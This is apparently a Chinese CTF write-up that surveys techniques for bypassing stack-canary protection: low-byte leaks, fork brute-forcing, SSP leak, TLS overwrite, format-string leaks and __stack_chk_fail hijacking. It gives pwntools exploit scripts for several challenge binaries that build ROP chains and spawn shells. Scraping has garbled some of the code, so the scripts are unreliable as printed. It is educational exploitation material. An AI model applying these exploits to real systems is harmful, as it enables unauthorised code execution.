Canary介绍 1 Canary中文意译为金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警
那么,我们可以简单把它理解成一个类似于cookie之类的东西,程序执行时需要验证它是正确的才能正常向下执行img img 
覆盖低字节泄露Canary 有些存在溢出漏洞的程序,在要求我们输入字符后,会将我们输入的字符打印出来,而canary的最低位是\x00,是为了让canary可以截断输入的字符。我们可以利用溢出,多覆盖一个字节,将\x00给覆盖掉,那么canary就会和我们输入的字符连起来,那么,程序打印时没有检查打印字符的长度的话,就可以连带着Canary打印出来了,然后再次溢出,将泄露出的canary填入原来的位置,就可以覆盖到返回地址了
例题:攻防世界_厦门邀请赛pwn1 分析下代码img img 
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from  pwn import*from  LibcSearcher import *context .log_level = 'debug'context .terminal = ['terminator','-x','sh','-c'] binary  = './babystack'local  = 1 if  local == 1 :p =process(binary)else :p =remote("" ,)elf =ELF(binary)libc =ELF('/lib/x86 _64 -linux-gnu/libc.so.6 ')pop_rdi_ret  = 0 x0000000000400 a93 puts_got  = elf.got['puts']puts_plt  = elf.plt['puts']start  = 0 x0000000000400720 def  exp():payload  = "a" *0 x88 p .recvuntil(">> " )p .sendline("1" )p .sendline(payload)p .recvuntil(">> " )p .sendline("2" )p .recvuntil("a"  * 0 x88  + '\n')canary  = u64 (p.recv(7 ).rjust(8 , '\x00 '))log .success("canary==>"  + hex(canary))payload  = "a" *0 x88  + p64 (canary) + "a" *8  + p64 (pop_rdi_ret) + p64 (puts_got) + p64 (puts_plt) + p64 (start)p .recvuntil(">> " )p .sendline("1" )p .sendline(payload)p .recvuntil(">> " )p .sendline("3" )puts_addr  = u64 (p.recvuntil('\x7 f')[-6 :].ljust(8 ,'\x00 '))libc_base  = puts_addr - libc.sym['puts']log .success("puts_addr==>"  + hex(puts_addr))log .success("libc_base==>"  + hex(libc_base))one_gadget  = libc_base + 0 xf1207 payload  = "a"  * 0 x88  + p64 (canary) + "a" *8  + p64 (one_gadget)p .recvuntil(">> " )p .sendline("1" )p .send(payload)p .recvuntil(">> " )p .sendline("3" )p .interactive()exp ()
Fork子进程程序爆破canary Fork函数创建子进程相当于复制一份当前进程,并且其中的内存布局以及变量等,包括canary都与父进程一致
例题 这基本上都是直接从veritas👴👴的blog里摘出来的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include  <stdio.h>  #include  <unistd.h>  #include  <stdlib.h>  #include  <sys/wait.h>  void  backdoor (void )  system ("/bin/sh" );void  init ()  setbuf (stdin, NULL );setbuf (stdout, NULL );setbuf (stderr, NULL );void  vul (void )  char  buffer[100 ];read (STDIN_FILENO, buffer, 120 );int  main (void )  init ();pid_t  pid;while (1 ) {if (pid < 0 ) {puts ("fork error" );exit (0 );else  if (pid == 0 ) {puts ("welcome" );vul ();puts ("recv sucess" );else  {wait (0 );
然后就硬爆破
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from  pwn import *process ('./bin' )"./bin" )'welcome\n' )'\x00' for  j in  range(3 ):for  i in  range(0x100 ):send ('a' *100  + canary + chr(i))a  = p.recvuntil('welcome\n' )if  'recv'  in  a :'a' *100  + canary + 'a' *12  + p32(0x80485FB ))"cat flag" )close ()log .success('key is:'  + flag)
SSP(Stack Smashing Protect) Leak 这个方法不能getshell,但是可以通过触发canary时的报错信息,来打印出我们想要的内存中的值,例如flagimg img img ”,而argv[0]存储的就是程序名,且这个参数存于栈上,我们只要修改栈上的argv[0]指针为flag的地址,就可以打印出flag 
例题:wdb2018_guess 分析main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 __int64 __fastcall main(__int64 a1, char  **a2, char  **a3)int  v5; char  buf[48 ] ; char  s2[56 ] ; __readfsqword(0x28u) ;3L L;LODWORD(stat_loc .__uptr )  = 0 ;0L L;_4009A6() ;HIDWORD(stat_loc .__iptr )  = open ("./flag.txt" , 0 , a2);if  ( HIDWORD(stat_loc .__iptr )  ==  -1  )"./flag.txt" );_exit(-1) ;SHIDWORD(stat_loc .__iptr ) , buf, 0x30 uLL);SHIDWORD(stat_loc .__iptr ) );"This is GUESS FLAG CHALLENGE!" );while  ( 1  )if  ( v6 >= v7 )"you have no sense... bye :-) " );0L L;_400A11() ;if  ( !v5 )"Please type your guessing flag" );if  ( !strcmp(buf, s2) )"You must have great six sense!!!! :-o " );else "You should take more effort to get six sence, and one more challenge!!" );0L L;
sub_400A11函数
1 2 3 4 5 6 7 8 9 __int64 sub_400A11() v1 v1  = fork();v1  == -1  )1 , "can not fork" );v1 ;
可以看到,fork了一个子进程,并且判断依据是v7的大小,也就是说整个程序可以崩溃3次stack smash 
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #!/usr/bin/env python #coding=utf-8 #context.log_level = 'debug'  'terminator' ,'-x' ,'sh' ,'-c' ]binary  = './pwn1'  local  = 1 if  local  == 1 :binary )else :"" ,)binary )exp ():"flag\n" )"a" *296  + p64(elf.got['puts' ])"*** stack smashing detected ***: " )'\x7f' )[-6 :].ljust(8 ,'\x00' ))'puts' ]log .success("puts_addr==>"  + hex (puts_addr))log .success("libc_base==>"  + hex (libc_base))'environ' ]"flag\n" )"a" *296  + p64(environ)"*** stack smashing detected ***: " )'\x7f' )[-6 :].ljust(8 ,'\x00' ))log .success("stack_addr==>"  + hex (stack_addr))0x168 "flag\n" )"a" *296  + p64(flag)exp ()
warn 需要注意的是,这个方法在glibc2.27及以上的版本中已失效img img ”字符串,打印不了栈中的信息了 
修改TLS结构体 我们首先需要知道canary是从哪里 
被取出来的img img img 
例题:*CTF2018 babystack 分析代码img img 
调试过程 断点在main函数,查看canary的地址,只能发现stack和tls结构体中两个canary的值img img img img 
整体思路 ①触发栈溢出,将Canary覆盖为aaaaaaaa,同时使用超长的payload将TLS中的Canary一并覆盖为aaaaaaaa
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from  pwn import *p =process("./bs" )libc  = ELF('/lib/x86 _64 -linux-gnu/libc.so.6 ')context .terminal = ['terminator', '-x', 'sh', '-c'] pop_rdi_ret  = 0 x400 c03 pop_rsi_r15  = 0 x400 c01 read_plt =0 x4007 e0 puts_got =0 x601 fb0 put_plt =0 x4007 c0 buf =0 x602 f00 leave_ret =0 x400955 payload  = p64 (pop_rdi_ret)+p64 (puts_got)+p64 (put_plt)payload  += p64 (pop_rdi_ret)+p64 (0 )+p64 (pop_rsi_r15 )+p64 (buf+0 x8 )+p64 (0 )+p64 (read_plt)+p64 (leave_ret)print  p.recvuntil("How many bytes do you want to send?" )p .sendline(str(6128 ))p .send("a" *4112 +p64 (buf)+payload+"a" *(6128 -4120 -len(payload)))puts_addr  = u64 (p.recvuntil('\x7 f')[-6 :].ljust(8 ,'\x00 '))libc_base  = puts_addr - libc.sym['puts']log .success("puts_addr==>"  + hex(puts_addr))log .success("libc_base==>"  + hex(libc_base))system  = libc_base+libc.sym['system']binsh  = libc_base+libc.search("/bin/sh" ).next()log .success("system_addr==>"  + hex(system))log .success("binsh==>"  + hex(binsh))p .sendline(p64 (pop_rdi_ret)+p64 (binsh)+p64 (system))p .interactive()
格式化字符串leak canary 针对有格式化字符串漏洞的栈溢出程序,利用格式化字符串漏洞可以任意地址读写的特点,泄露出栈上的canary,并填入对应位置,然后利用栈溢出get shell
例题:ASIS-CTF-Finals-2017 Mary_Morton main函数img img img img img img img img 
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from  pwn import *context .log_level = 'debug'p  = process('./Mary_Morton')p .recvuntil('3 . Exit the battle')p .sendline('2 ')p .sendline("%23$p" )p .recvuntil('0 x')canary  = int(p.recv(16 ),16 )log .success("canary==>"  + hex(canary))system  = 0 x4008 DApayload  = 'a'*0 x88  + p64 (canary) + p64 (0 xdeadbeef) + p64 (system)p .sendline('1 ')p .sendline(payload)p .interactive()
劫持__stack_chk_fail函数 改写__stack_chk_fail@got,但前提是必须有一个可以向任意地址写的漏洞,例如说格式化字符串漏洞
例题:[BJDCTF 2nd]r2t4 程序比较简单,分析下img img 
exp 1 2 3 4 5 6 7 8 9 10 11 from  pwn import*context .log_level = 'debug'p =remote("node3.buuoj.cn" ,28676 )elf  = ELF("./r2t4" )libc  = elf.libcstack_check  = 0 x601018 flag_addr  = 0 x400626 payload  = fmtstr_payload(6 ,{stack_check:flag_addr}).ljust(40 ,'a')p .sendline(payload)p .interactive()
以上就是我对于canary保护的绕过姿势的总结,可能还有我暂时没有涉及到的,也欢迎师傅们提点我一下,这篇博客也算是多天没学习以来的一个新开端吧github 
参考链接:https://p1kk.github.io/2019/10/26/canary%E7%9A%84%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF/canary/ https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/ https://ctf-wiki.org/pwn/linux/mitigation/canary/